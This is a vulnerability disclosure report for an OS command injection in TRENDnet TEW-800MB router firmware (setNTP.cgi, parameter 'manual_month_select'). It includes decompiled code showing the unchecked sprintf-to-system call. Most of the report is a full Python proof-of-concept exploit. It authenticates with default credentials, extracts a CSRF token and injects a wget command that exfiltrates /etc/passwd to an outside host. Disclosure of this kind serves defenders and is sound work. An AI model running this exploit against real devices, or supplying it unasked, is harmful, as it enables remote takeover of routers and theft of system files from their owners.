CVE Report - Command Injection Vulnerability in Trendnet fw_tew800mb(v1.0.1.0) Routers

Vulnerability Title

Command Injection Vulnerability in fw_tew800mb(v1.0.1.0) Routers

Vulnerability Description

TRENDnet fw_tew800mb devices have an OS command injection vulnerability in the setNTP.cgi,which allows remote attackers to execute arbitrary commands via parameter "manual_month_select" passed to the binary through a POST request.

POC

```
#coding=gbk
import requests
import base64
import re

if __name__ == '__main__':
    print('start !!! ')

    target = "192.168.10.110"
    username = "admin"
    password = "admin"
    cmd = "$(wget http://192.168.10.109:7777?$(cat /etc/passwd))"
    auth = username + ":" + password
    hash = base64.b64encode(auth.encode('utf-8')).decode('utf-8')
    s = requests.Session()

    headers = {
        'User-Agent': "Mozilla/5.0 (X11; Ubuntu; Linux x86_64;
rv:109.0) Gecko/20100101 Firefox/113.0",
        'Accept':
"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,
image/webp,*/*;q=0.8",
        'Accept-Language': "en-US,en;q=0.5",
        'Accept-Encoding': "gzip, deflate, br",
```

```
        'Authorization': f'Basic {hash}',
        'Connection': "close",

        'Upgrade-Insecure-Requests': "1"
    }
    response = s.request("GET",
f'http://{target}/wizard/wizard.asp', headers=headers)

    data = response.text

    token_pattern = r'name="token" value="([^"]+)"'
    token_match = re.search(token_pattern, data)
    if token_match:
        token_value = token_match.group(1)
    else:
        token_value = "Token not found"
        print(token_match)
        exit


    burp0_url = "http://" + target + "/setNTP.cgi"
    burp0_headers = {
        'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64;
rv:109.0) Gecko/20100101 Firefox/113.0',
        'Accept':
'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,
image/webp,*/*;q=0.8',
        'Accept-Language': 'en-US,en;q=0.5',
        'Accept-Encoding': 'gzip, deflate, br',
        'Content-Type': 'application/x-www-form-urlencoded',
        'Authorization': f'Basic {hash}',
        'Connection': 'close',
        'Cookie': 'expandable=6c',
        'Upgrade-Insecure-Requests': '1'
    }

    # Form data to be sent in POST request
    burp0_data = {
        'token': f'{token_value}',
        'page':'a',
        'timeTag':'manual',
        'manual_month_select': {cmd},
    }
    s.post(burp0_url, headers=burp0_headers, data=burp0_data)
    print("end !!! ")
```

Cause Analysis

In this function, the data passed in by the request parameter in the data packet is obtained through the nvram_safe_get function. When the parameter manual_month_select we passed in is parsed, the function directly splices the parameter value to the %s in the string date -s %s%s%s%s%s%s.%s by calling the sprintf function. After that, no validity check is performed on the parameter value, and then the system function is directly called to execute the command, thus causing a command injection vulnerability.

```
      v15 = &nptr;
    v16 = nvram_safe_get((int)"manual_month_select");
    if ( v16 )
      v17 = (const char *)v16;
    else
      v17 = &nptr;
    v25 = v17;
    v18 = nvram_safe_get((int)"manual_day_select");
    if ( v18 )
      v19 = (const char *)v18;
    else
      v19 = &nptr;
    v20 = nvram_safe_get((int)"manual_hour_select");
    if ( v20 )
      v21 = (const char *)v20;
    else
      v21 = &nptr;
    v22 = nvram_safe_get((int)"manual_min_select");
    if ( v22 )
      v23 = (const char *)v22;
    else
      v23 = &nptr;
    v24 = nvram_safe_get((int)"manual_sec_select");
    if ( v24 )
      v13 = (const char *)v24;
    sprintf(v26, "date -s %s%s%s%s%s.%s", v25, v19, v21, v23, v15, v13);
    printf("cmd_sys=%s \n", v26);
    system(v26);
    sub_CC80(a2, "/adm/time.asp");
LABEL_33:
    kill(1, 1);
    sleep(0x12u);
    sub_CC80(a2, v3);
  }
  return sub_A33C(0);
}
```